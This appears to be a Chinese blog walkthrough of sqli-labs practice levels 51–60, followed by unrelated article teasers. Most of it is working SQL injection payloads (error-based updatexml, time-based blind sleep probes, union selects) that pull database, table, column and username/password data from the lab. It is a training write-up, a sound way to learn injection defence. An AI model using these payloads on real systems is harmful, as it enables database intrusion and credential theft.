sqli-labs靶场通关攻略（五十一到六十关）
sqli-labs-master靶场第五十一关
步骤一，尝试输入?sort=1'
我们发现这关可以报错注入
步骤二，爆库名
?sort=1' and updatexml(1,concat(0x7e,database(),0x7e),1)--+
步骤三，爆表名
?sort=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1) --+
步骤四，爆users列名
?sort=1' and updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1) --+
步骤五，爆users表中信息
?sort=1' and updatexml(1,concat(0x7e,mid((select group_concat(username,password) from users),1,31),0x7e),1) --+
sqli-labs-master靶场第五十二关
步骤一，这关的参数是sort，输入?sort=1--+
步骤二，查看数据库
判断数据库的第一个字符
用ascii码截取数据库的第一位字符 判断第一位字符的ascii码是否大于114 页面延迟三秒访问 说明数据库第一位字符ascii码大于114 :
?sort=1 and if((ascii(substr(database(),1,1))>114),sleep(3),1)--+
判断数据库第一位字符的ascii码是否大于115 页面正常显示 说明不大于 大于114不大于115 说明第一位字符ascii码等于115
?sort=1 and if((ascii(substr(database(),1,1))>115),sleep(3),1)--+
数据库第一位字符ascii码为115 's'。
以此类推...最终得出数据库名为security
步骤三，查看表名
查security数据库中第一张表的第一位字符
?sort=1 and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>100 ,sleep(3),1)--+
页面延迟三秒
?sort=1 and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>101 ,sleep(3),1)--+
页面正常
大于100不大于101 说明第一张表的第一位字符等于101 'e' 。
以此类推...最终得出第一张表的表名为emails
sqli-labs-master靶场第五十三关
步骤一，这关的参数是sort，输入?sort=1'--+
步骤二，查看数据库
判断数据库的第一个字符
用ascii码截取数据库的第一位字符 判断第一位字符的ascii码是否大于114 页面延迟三秒访问 说明数据库第一位字符ascii码大于114 :
?sort=1' and if((ascii(substr(database(),1,1))>114),sleep(3),1)--+
判断数据库第一位字符的ascii码是否大于115 页面正常显示 说明不大于 大于114不大于115 说明第一位字符ascii码等于115
?sort=1' and if((ascii(substr(database(),1,1))>115),sleep(3),1)--+
数据库第一位字符ascii码为115 's'。
以此类推...最终得出数据库名为security
步骤三，查看表名
查security数据库中第一张表的第一位字符
?sort=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>100 ,sleep(3),1)--+
页面延迟三秒
?sort=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>101 ,sleep(3),1)--+
页面正常访问
大于100不大于101 说明第一张表的第一位字符等于101 'e' 。
以此类推...最终得出第一张表的表名为emails
sqli-labs-master靶场第五十四关
步骤一，查看数据库
?id=-1'union select 1,2,database()--+
步骤二，查看表名
?id=-1'union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+
步骤三，查看users表中列名
?id=-1'union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users' --+
sqli-labs-master靶场第五十五关
步骤一，查看数据库
?id=-1)union select 1,2,database()--+
步骤二，查看表名
?id=-1)union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+
步骤三，查看users表中列名
?id=-1)union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users' --+
sqli-labs-master靶场第五十六关
步骤一，判断闭合方式
?id=1') --+
步骤二，查看数据库
?id=-1') union select 1,2,database()--+
步骤三，查看表名
?id=-1') union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+
步骤四，查看users表中列名
?id=-1')union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users' --+
sqli-labs-master靶场第五十七关
步骤一，判断闭合方式
?id=1" --+
步骤二，查看数据库
?id=-1" union select 1,2,database()--+
步骤三，查看表名
?id=-1" union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+
步骤四，查看users表中列名
?id=-1"union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users' --+
sqli-labs-master靶场第五十八关
步骤一，判断闭合方式
?id=1'
跟个单引号引起报错 说明页面有报错语句的位置
步骤二，查看数据库
?id=1' and updatexml(1,concat(1,(select database())),1)--+
步骤三，查看表名
?id=1' and updatexml(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema='security')),1)--+
步骤四，查看users表中列名
?id=1' and updatexml(1,concat(1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')),1)--+
sqli-labs-master靶场第五十九关
步骤一，判断闭合方式
?id=1 --+
步骤二，查看数据库
?id=-1 and updatexml(1,concat(1,(select database())),1) --+
步骤三，查看表名
?id=-1 and updatexml(1,concat(1,(select group_concat(table_name)from information_schema.tables where table_schema='security')),1) --+
步骤四，查看users表中列名
?id=1 and updatexml(1,concat(1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')),1) --+
sqli-labs-master靶场第六十关
步骤一，判断闭合方式
?id=1") --+
步骤二，查看数据库
?id=-1") and updatexml(1,concat(1,(select database())),1) --+
步骤三，查看表名
?id=-1") and updatexml(1,concat(1,(select group_concat(table_name)from information_schema.tables where table_schema='security')),1) --+
步骤四，查看users表中列名
?id=1") and updatexml(1,concat(1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')),1) --+
相关文章：
sqli-labs靶场通关攻略（五十一到六十关）
sqli-labs-master靶场第五十一关 步骤一，尝试输入?sort1 我们发现这关可以报错注入 步骤二，爆库名 ?sort1 and updatexml(1,concat(0x7e,database(),0x7e),1)-- 步骤三，爆表名 ?sort1 and updatexml(1,concat(0x7e,(select group_conc…...
c语言中的动态内存管理
在 C 语言中，动态内存管理主要通过以下几个函数实现： 一、malloc 函数 功能： malloc 函数用于在内存的动态存储区中分配一块长度为 size 字节的连续区域。函数返回一个指向分配区域起始地址的指针，如果分配失败则回 NULL 示例: …...
生信机器学习入门4 - scikit-learn训练逻辑回归（LR）模型和支持向量机（SVM）模型
通过逻辑回归（logistic regression）建立分类模型 1.1 逻辑回归可视化和条件概率 激活函数 (activation function)： 一种函数（如 ReLU 或 S 型函数），用于对上一层的所有输入进行求加权和，然后生…...
COD论文笔记 Adaptive Guidance Learning for Camouflaged Object Detection
论文的主要动机、现有方法的不足、拟解决的问题、主要贡献和创新点如下： 动机： 论文的核心动机是解决伪装目标检测（COD）中的挑战性任务。伪装目标检测旨在识别和分割那些在视觉上与周围环境高度相似的目标，这对于计算…...
9.5LeetCode
80.删除有序数组重复项II 给你一个有序数组 nums ，请你 原地 删除重复出现的元素，使得出现次数超过两次的元素只出现两次 ，返回删除后数组的新长度。 不要使用额外的数组空间，你必须在 原地 修改输入数组 并在使用 O(1) 额外空间的…...
数据仓库系列13：增量更新和全量更新有什么区别,如何选择?
你是否曾经在深夜加班时，面对着庞大的数据仓库，思考过这样一个问题：“我应该选择增量更新还是全量更新？” 这个看似简单的选择，却可能影响整个数据处理的效率和准确性。今天，让我们深入探讨这个数据仓库领域…...
数据 结构（内核链表）
一、内核链表（是一个有头双向循环链表） 1.内核提供的两个宏 (1) offsetof : 获取结构体成员到结构体开头的偏移量； (2) contianer_of : 通过偏移量获取结构体首地址； 2.代码示例： truct passager *create_passage…...
学习node.js十三，文件的上传于下载
文件上传 文件上传的方案： 大文件上传：将大文件切分成较小的片段（通常称为分片或块），然后逐个上传这些分片。这种方法可以提高上传的稳定性，因为如果某个分片上传失败，只需要重新上传该分片而…...
【刷题笔记】删除并获取最大点数粉刷房子
欢迎来到 破晓的历程的 博客 ⛺️不负时光，不负己✈️ 题目一 题目链接：删除并获取最大点数 思路： 预处理状态表示 状态转移方程 代码如下： class Solution { public:int deleteAndEarn(vector<int>& nums) {int N1…...
【Linux 从基础到进阶】Elasticsearch 搜索服务安装与调优
Elasticsearch 搜索服务安装与调优 引言 Elasticsearch 是一个分布式的、基于 RESTful API 的搜索和分析引擎，专为快速处理大量数据而设计。它经常被用来进行全文搜索、日志和指标分析等操作。本文将介绍如何在 CentOS 和 Ubuntu 系统上安装 Elasticsearch，并进行必要的调优…...
IMU助力JAXA空间站机器人
近日，日本宇宙航空研究开发机构（JAXA）宣布，在国际空间站（ISS）实验舱“希望号”（Kibo）上部署的一款移动摄像机器人将采用Epson M-G370系列惯性测量单元（IMU）。…...
java开发，记录一些注解和架构
最近接了一个项目，说是项目其实也不算是项目，因为是把这个项目赛到其他项目中的。 熟悉一些这个项目的功能，梳理了一下，在代码开发中主要关心pojo、entity、respository、controller、service。 在这里主要记录前3个的流程与作用…...
【2024高教社杯全国大学生数学建模竞赛】B题 生产过程中的决策问题——解题思路 代码 论文
目录 问题 1：抽样检测方案的设计问题 2：生产过程中的决策问题 3：多工序、多零配件的生产决策问题 4：重新分析次品率题目难度分析1. 统计检测方案设计的复杂性（问题 1）2. 多阶段生产决策的复杂性（…...
JUnit 5和Mockito进行单元测试！
1. JUnit 5 基础 JUnit 5是最新的JUnit版本，它引入了许多新特性，包括更灵活的测试实例生命周期、参数化测试、更丰富的断言和假设等。 1.1 基本注解 Test：标记一个方法为测试方法。 BeforeEach：在每个测试方法之前执行。 AfterEac…...
LeetCode 算法：完全平方数 c++
原题链接🔗：完全平方数难度：中等⭐️⭐️ 题目 给你一个整数 n ，返回 和为 n 的完全平方数的最少数量 。 完全平方数 是一个整数，其值等于另一个整数的平方；换句话说，其值等于一个整数自乘的…...
深入CSS 布局——WEB开发系列29
CSS 页面布局技术允许我们拾取网页中的元素，并且控制它们相对正常布局流、周边元素、父容器或者主视口/窗口的位置。 一、正常布局流（Normal Flow） CSS的布局基础是“正常流”，也就是页面元素在没有特别指定布局方式时的默认排列…...
视频的容器格式和编码格式详解
视频的容器格式和编码格式是视频文件的两个核心概念，它们相互关联但具有不同的功能。以下是详细的解释： 1. 容器格式 (Container Format) 容器格式，又称封装格式，指的是视频文件的外壳或容器，它用于封装视频、音频、…...
Elasticsearch Mapping 详解
1 概述 映射的基本概念 Mapping 也称之为映射，定义了 ES 的索引结构、字段类型、分词器等属性，是索引必不可少的组成部分。 ES 中的 mapping 有点类似与DB中“表结构”的概念，在 MySQL 中，表结构里包含了字段名称，字…...
WPF 利用视觉树获取指定名称对象、指定类型对象、以及判断是否有验证错误
1.利用视觉树获取指定名称对象 /// <summary> /// Finds a Child of a given item in the visual tree. /// </summary> /// <param name"parent">A direct parent of the queried item.</param> /// <typeparam name"T">T…...
`, `sub()`, `subn()`方法的作用)
了解`re`模块的`split()`, `sub()`, `subn()`方法的作用
在Python中，re模块（即正则表达式模块）提供了强大的字符串处理能力，允许你通过模式匹配来执行复杂的文本搜索、替换和分割等操作。其中，split(), sub(), 和 subn() 方法是re模块中非常实用的几个函数，它们各…...
Chapter03-Authentication vulnerabilities
文章目录 1. 身份验证简介1.1 What is authentication1.2 difference between authentication and authorization1.3 身份验证机制失效的原因1.4 身份验证机制失效的影响 2. 基于登录功能的漏洞2.1 密码爆破2.2 用户名枚举2.3 有缺陷的暴力破解防护2.3.1 如果用户登录尝试失败次…...
业务系统对接大模型的基础方案：架构设计与关键步骤
业务系统对接大模型：架构设计与关键步骤 在当今数字化转型的浪潮中，大语言模型（LLM）已成为企业提升业务效率和创新能力的关键技术之一。将大模型集成到业务系统中，不仅可以优化用户体验，还能为业务决策提供…...
【JavaEE】-- HTTP
1. HTTP是什么？ HTTP（全称为"超文本传输协议"）是一种应用非常广泛的应用层协议，HTTP是基于TCP协议的一种应用层协议。 应用层协议：是计算机网络协议栈中最高层的协议，它定义了运行在不同主机上…...
五年级数学知识边界总结思考-下册
目录 一、背景二、过程1.观察物体小学五年级下册“观察物体”知识点详解：由来、作用与意义**一、知识点核心内容****二、知识点的由来：从生活实践到数学抽象****三、知识的作用：解决实际问题的工具****四、学习的意义：培养核心素养…...
Module Federation 和 Native Federation 的比较
前言 Module Federation 是 Webpack 5 引入的微前端架构方案，允许不同独立构建的应用在运行时动态共享模块。 Native Federation 是 Angular 官方基于 Module Federation 理念实现的专为 Angular 优化的微前端方案。 概念解析 Module Federation (模块联邦) Modul…...
【Zephyr 系列 10】实战项目：打造一个蓝牙传感器终端 + 网关系统（完整架构与全栈实现）
🧠关键词：Zephyr、BLE、终端、网关、广播、连接、传感器、数据采集、低功耗、系统集成 📌目标读者：希望基于 Zephyr 构建 BLE 系统架构、实现终端与网关协作、具备产品交付能力的开发者 📊篇幅字数：约 5200 字 ✨ 项目总览 在物联网实际项目中，**“终端 + 网关”**是…...
Python如何给视频添加音频和字幕
在Python中，给视频添加音频和字幕可以使用电影文件处理库MoviePy和字幕处理库Subtitles。下面将详细介绍如何使用这些库来实现视频的音频和字幕添加，包括必要的代码示例和详细解释。 环境准备 在开始之前，需要安装以下Python库：…...
06 Deep learning神经网络编程基础 激活函数 --吴恩达
深度学习激活函数详解 一、核心作用 引入非线性：使神经网络可学习复杂模式控制输出范围：如Sigmoid将输出限制在(0,1)梯度传递：影响反向传播的稳定性二、常见类型及数学表达 Sigmoid σ ( x ) = 1 1 +...
2025季度云服务器排行榜
在全球云服务器市场，各厂商的排名和地位并非一成不变，而是由其独特的优势、战略布局和市场适应性共同决定的。以下是根据2025年市场趋势，对主要云服务器厂商在排行榜中占据重要位置的原因和优势进行深度分析： 一、全球“三巨头”…...
Docker 本地安装 mysql 数据库
Docker: Accelerated Container Application Development 下载对应操作系统版本的 docker ；并安装。 基础操作不再赘述。 打开 macOS 终端，开始 docker 安装mysql之旅 第一步 docker search mysql 》〉docker search mysql NAME DE…...